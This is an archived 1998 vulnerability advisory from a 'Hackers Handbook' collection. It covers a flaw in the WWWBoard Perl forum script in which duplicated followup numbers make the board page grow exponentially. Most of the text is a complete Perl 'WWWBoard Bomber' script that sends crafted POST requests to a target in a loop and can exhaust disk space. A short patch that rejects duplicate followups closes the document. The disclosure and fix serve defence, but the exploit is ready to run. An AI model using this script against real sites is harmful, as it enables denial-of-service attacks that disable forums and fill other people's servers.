home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / wwwboard-bomb.txt < prev    next >
Encoding:
Text File  |  1998-11-21  |  5.4 KB  |  172 lines

  1.  
  2. WWWBoard v2.0 ALPHA Vulnerability
  3.  
  4. Recently, many vulnerabilities have been found in the popular WWWBoard script written by Matt 
  5. Wright, this is yet another. When the followup value in a form posted to the WWWBoard script 
  6. contains the same post number twice, the script follows up to that post twice, even printing the 
  7. number of followups to a particular post (on the wwwboard.html file) multiple times. This exploit 
  8. does even one better than just 'messing up' the board, if done severly enough, it can cause the 
  9. wwwboard.html file to become hundreds of megabytes in size. It appears that the number of 
  10. followups shown on the main page (if there's three, it'd look like "(3)") increases exponentially 
  11. with this flaw, such that posting a followup value of say "5,5,5" 2 times would make (2) appear 
  12. as the followup value, but it would appear 9 times. From the best I can tell, the number of 
  13. followups you have that are the same (like "3,3,3,3,3" would have 5) is the number of times the 
  14. followup value will appear on the wwwboard.html page, and if you post the same twice, it does 
  15. that number to the second power, and thrice does to the third power, etc. (whereas if you post 
  16. "3,3,3,3,3" once, it'll have 5 followup numbers, if you post it twice, it'll have 25, if you post 
  17. it three times, it'll have 125, post it ten times and it'll show 9,765,625 times, twelve times  
  18. 244,140,625, thirteen times 1,220,703,125, etc.) And even though it appears that only three bytes 
  19. "(X)" are added for each followup value you see, there are comments in the HTML making it appear 
  20. as "(<!--responses: 3-->5)" in the html source if there's 5 followups to message 3.
  21.  
  22. As that shows, this can cause much more damage than just a simple annoyance. This flaw could 
  23. easilly be exploited to the point where a users quota is maxed out, or even to the point where 
  24. the web server runs out of disk space. Below is an exploit script, and a patch to fix the 
  25. wwwboard.pl script.
  26. Samuel Sparling
  27.  
  28.  
  29. Here is an example perl script to exploit this flaw:
  30.  
  31. #!/usr/bin/perl
  32. ###################################################
  33. #
  34. # WWWBoard Bomber Exploit Script
  35. # Written By: Samuel Sparling (sparling@slip.net)
  36. #
  37. # Written to exploit a flaw in the WWWBoard script
  38. # by Matt Wright.
  39. #
  40. # Copyright ⌐ 1998 Samuel Sparling
  41. # All Rights Reserved.
  42. #
  43. # Written 11-04-1998
  44. ###################################################
  45. use Socket;# Tell perl to use the socket module
  46.  
  47. # Change this if the server you're trying on uses a different port for http
  48. $port=80;
  49.  
  50. print "WWWBoard Bomber Exploit Script\n\n";
  51. print "WWWBoard.pl URL: ";
  52. $url=<STDIN>;
  53. chop($url) if $url =~ /\n$/;
  54.  
  55. print "Name: ";
  56. $name=<STDIN>;
  57. chop($name) if $name =~ /\n$/;
  58.  
  59. print "E-Mail: ";
  60. $email=<STDIN>;
  61. chop($email) if $email =~ /\n$/;
  62.  
  63. print "Subject: ";
  64. $subject=<STDIN>;
  65. chop($subject) if $subject =~ /\n$/;
  66.  
  67. print "Message: ";
  68. $message=<STDIN>;
  69. chop($message) if $message =~ /\n$/;
  70.  
  71. print "Followup Value: ";
  72. $followup=<STDIN>;
  73. chop($followup) if $followup =~ /\n$/;
  74.  
  75. print "Times to Post: ";
  76. $stop=<STDIN>;
  77. chop($stop) if $stop =~ /\n$/;
  78.  
  79.  
  80.  
  81.     # Chop the URL into peices to use for the actual posting
  82.     $remote = $url;
  83.     $remote =~ s/http\:\/\///g;
  84.     $remote =~ s/\/([^>]|\n)*//g;
  85.  
  86.     $path = $url;
  87.     $path =~ s/http\:\/\///g;
  88.     $path =~ s/$remote//g;
  89.  
  90.  
  91.     $forminfo = "name=$name&email=$email&followup=$followup&subject=$subject&body=$message";
  92.     $forminfo =~ s/\,/\%2C/g;# Turn comas into %2C so that they can be posted.
  93.         $forminfo =~ tr/ /+/;
  94.  
  95.     $length = length($forminfo);
  96.  
  97.     $submit = "POST $path HTTP/1.0\r\nReferer: $url\r\nUser Agent: Mozilla/4.01 (Win95; I)\r\nContent-type: application/x-www-form-urlencoded\r\nContent-length: $length\r\n\r\n$forminfo\r\n";
  98.  
  99.     $i=0;
  100.     while($i < $stop)
  101.     {
  102.         &post_message;
  103.         $i++;
  104.         print "$i message(s) posted.\n";
  105.     }
  106.  
  107.  
  108. sub post_message
  109. {
  110.         if ($port =~ /\D/) { $port = getservbyname($port, 'tcp'); }
  111.         die("No port specified.") unless $port;
  112.         $iaddr = inet_aton($remote) || die("Failed to find host: $remote");
  113.         $paddr = sockaddr_in($port, $iaddr);
  114.         $proto = getprotobyname('tcp');
  115.         socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket: $!");
  116.         connect(SOCK, $paddr) || die("Unable to connect: $!");
  117.         send(SOCK,$submit,0);
  118.         while(<SOCK>) {
  119.             #print $_;# Uncomment for debugging if you have problems.
  120.         }
  121.         close(SOCK);
  122. }
  123.  
  124.  
  125. exit;
  126.  
  127.  
  128.  
  129. Below is the patch, all it does is check to make sure that the same followup number is not used more than once in the followups form field.
  130.  
  131. In the get_variables subroutine replace this:
  132.  
  133.    if ($FORM{'followup'}) {
  134.       $followup = "1";
  135.       @followup_num = split(/,/,$FORM{'followup'});
  136.       $num_followups = @followups = @followup_num;
  137.       $last_message = pop(@followups);
  138.       $origdate = "$FORM{'origdate'}";
  139.       $origname = "$FORM{'origname'}";
  140.       $origsubject = "$FORM{'origsubject'}";
  141.    }
  142.  
  143. with this:
  144.  
  145.    if ($FORM{'followup'}) {
  146.       $followup = "1";
  147.       @followup_num = split(/,/,$FORM{'followup'});
  148.       $num_followups = @followups = @followup_num;
  149.       $last_message = pop(@followups);
  150.       $origdate = "$FORM{'origdate'}";
  151.       $origname = "$FORM{'origname'}";
  152.       $origsubject = "$FORM{'origsubject'}";
  153.  
  154. # WWWBoard Bomb Patch 
  155. # Written By: Samuel Sparling (sparling@slip.net)
  156.     $fn=0;
  157.     while($fn < $num_followups)
  158.     {
  159.         $cur_fup = @followups[$fn];
  160.         $dfn=0;
  161.         foreach $fm(@followups)
  162.         {
  163.             if(@followups[$dfn] == @followups[$fn] && $dfn != $fn)
  164.             {
  165.                 &error(board_bomb);
  166.             }
  167.             $dfn++;
  168.         }
  169.     $fn++;
  170.     }
  171. # End WWWBoard Bomb Patch
  172.    }